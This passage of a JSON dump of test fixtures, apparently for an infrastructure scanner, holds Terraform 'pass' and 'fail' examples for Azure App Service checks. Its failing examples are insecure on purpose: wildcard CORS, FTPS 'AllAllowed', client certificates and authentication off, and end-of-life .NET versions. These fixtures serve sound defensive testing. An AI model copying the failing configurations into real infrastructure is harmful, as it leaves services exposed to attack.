    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  client_cert_enabled = false\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  client_cert_enabled = true\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                       = \"example\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_service_plan.example.location\n  service_plan_id            = azurerm_service_plan.example.id\n  client_certificate_enabled = false\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"fail2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  auth_settings {\n    enabled = false\n  }\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                       = \"example\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_service_plan.example.location\n  service_plan_id            = azurerm_service_plan.example.id\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail2\" {\n  name                       = \"example\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_service_plan.example.location\n  service_plan_id            = azurerm_service_plan.example.id\n  client_certificate_enabled = false\n  auth_settings {\n    enabled = false\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                       = \"example\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_service_plan.example.location\n  service_plan_id            = azurerm_service_plan.example.id\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceDetailedErrorMessagesEnabled/main.tf",
    "content": "resource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  logs {\n    application_logs {\n      azure_blob_storage {\n        level             = \"warning\"\n        sas_url           = \"www.example.com\"\n        retention_in_days = 4\n      }\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  logs {\n    application_logs {\n      azure_blob_storage {\n        level             = \"warning\"\n        sas_url           = \"www.example.com\"\n        retention_in_days = 4\n      }\n    }\n    detailed_error_messages_enabled = false\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail3\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  logs {\n    http_logs {\n      retention_in_days = 4\n      retention_in_mb   = 10\n    }\n    detailed_error_messages_enabled = true\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  logs {\n    detailed_error_messages_enabled = true\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    detailed_error_messages = true\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    detailed_error_messages = false\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"fail2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    detailed_error_messages = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    detailed_error_messages = false\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"fail2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceDisallowCORS/main.tf",
    "content": "resource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    detailed_error_messages = true\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    detailed_error_messages = false\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    detailed_error_messages = true\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    detailed_error_messages = false\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceDotnetFrameworkVersion/main.tf",
    "content": "# FAIL - v5.0 is EOL\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v5.0\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\n# FAIL - v6.0 is EOL as of November 2024\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v6.0\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\n# PASS - v8.0 is LTS (supported until November 2026)\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v8.0\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\n# PASS - v9.0 is STS (supported until May 2026)\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v9.0\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\n# PASS - v10.0 is the latest version\nresource \"azurerm_app_service\" \"pass3\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v10.0\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\n# IGNORE - uses Java, not .NET\nresource \"azurerm_app_service\" \"ignore\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    java_version = \"11\"\n    java_container = \"Tomcat\"\n    java_container_version = 10.0\n    http2_enabled = true\n    ftps_state =\"FtpsOnly\"\n    }\n  }\n\n# PASS - v8.0 via application_stack\nresource \"azurerm_windows_web_app\" \"pass\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n    application_stack {\n      dotnet_version = \"v8.0\"\n    }\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# PASS - v9.0 via application_stack\nresource \"azurerm_windows_web_app\" \"pass2\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n    application_stack {\n      dotnet_version = \"v9.0\"\n    }\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# PASS - v10.0 via application_stack\nresource \"azurerm_windows_web_app\" \"pass3\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n    application_stack {\n      dotnet_version = \"v10.0\"\n    }\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# FAIL - v2.0 is EOL\nresource \"azurerm_windows_web_app\" \"fail\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n    application_stack {\n      dotnet_version = \"v2.0\"\n    }\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# FAIL - v6.0 is EOL via application_stack\nresource \"azurerm_windows_web_app\" \"fail2\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n    application_stack {\n      dotnet_version = \"v6.0\"\n    }\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n# IGNORE - no dotnet version specified\nresource \"azurerm_windows_web_app\" \"ignore\" {\n  #checkov:skip=CKV_AZURE_16: AD might not be required\n  name                = var.name\n  location            = var.location\n  resource_group_name = var.rg_name\n  service_plan_id     = var.service_plan_id\n\n  https_only = true\n  logs {\n    detailed_error_messages = true\n    failed_request_tracing  = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 25\n      }\n\n    }\n  }\n\n  storage_account {\n    name         = var.storage.name\n    type         = var.storage.store_type\n    account_name = var.storage.account_name\n    share_name   = var.storage.share_name\n    access_key   = var.storage.access_key\n    mount_path   = var.storage.mount_path\n  }\n\n  site_config {\n    ftps_state        = \"FtpsOnly\"\n    http2_enabled     = true\n    health_check_path = var.health_check_path\n  }\n\n\n  client_certificate_enabled = true\n\n  auth_settings {\n    enabled = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceEnableFailedRequest/main.tf",
    "content": "resource \"azurerm_app_service\" \"fail3\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  logs {\n    failed_request_tracing_enabled = false\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  logs {\n    failed_request_tracing_enabled = true\n  }\n  storage_account {\n    name         = \"test_name\"\n    type         = \"AzureFiles\"\n    account_name = \"test_account_name\"\n    share_name   = \"test_share_name\"\n    access_key   = \"test_access_key\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type = \"someValue\"\n  }\n  logs {\n    application_logs = \"test\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type = \"someValue\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    failed_request_tracing_enabled = false\n    detailed_error_messages        = false\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  logs {\n    failed_request_tracing = true\n  }\n  auth_settings {\n    enabled = true\n  }\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing = true\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing_enabled = false\n    detailed_error_messages        = false\n  }\n  site_config {\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceEnvironmentZoneRedundant/main.tf",
    "content": "resource \"azurerm_app_service_environment_v3\" \"pass\" {\n  name                = \"example-asev3\"\n  resource_group_name = azurerm_resource_group.example.name\n  subnet_id           = azurerm_subnet.example.id\n  zone_redundant      = true\n\n  tags = {\n    env         = \"production\"\n    terraformed = \"true\"\n  }\n}\n\nresource \"azurerm_app_service_environment_v3\" \"fail1\" {\n  name                = \"example-asev3\"\n  resource_group_name = azurerm_resource_group.example.name\n  subnet_id            = azurerm_subnet.example.id\n  zone_redundant       = false\n\n  tags = {\n    env         = \"production\"\n    terraformed = \"true\"\n  }\n}\n\nresource \"azurerm_app_service_environment_v3\" \"fail2\" {\n  name                = \"example-asev3\"\n  resource_group_name = azurerm_resource_group.example.name\n  subnet_id            = azurerm_subnet.example.id\n\n  tags = {\n    env         = \"production\"\n    terraformed = \"true\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceFTPSState/main.tf",
    "content": "resource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    ftps_state = \"AllAllowed\"\n  }\n\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    ftps_state = \"FtpsOnly\"\n  }\n\n}\n\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    ftps_state = \"Disabled\"\n  }\n\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  logs {\n    failed_request_tracing_enabled = false\n    detailed_error_messages        = false\n  }\n  client_certificate_enabled = true\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    ftps_state = \"AllAllowed\"\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  logs {\n    failed_request_tracing_enabled = true\n  }\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing_enabled = true\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing_enabled = false\n    detailed_error_messages        = false\n  }\n  site_config {\n    ftps_state = \"AllAllowed\"\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceHTTPSOnly/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceHttpLoggingEnabled/main.tf",
    "content": "resource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  logs {\n    application_logs {\n      azure_blob_storage {\n        level             = \"warning\"\n        sas_url           = \"www.example.com\"\n        retention_in_days = 4\n      }\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = 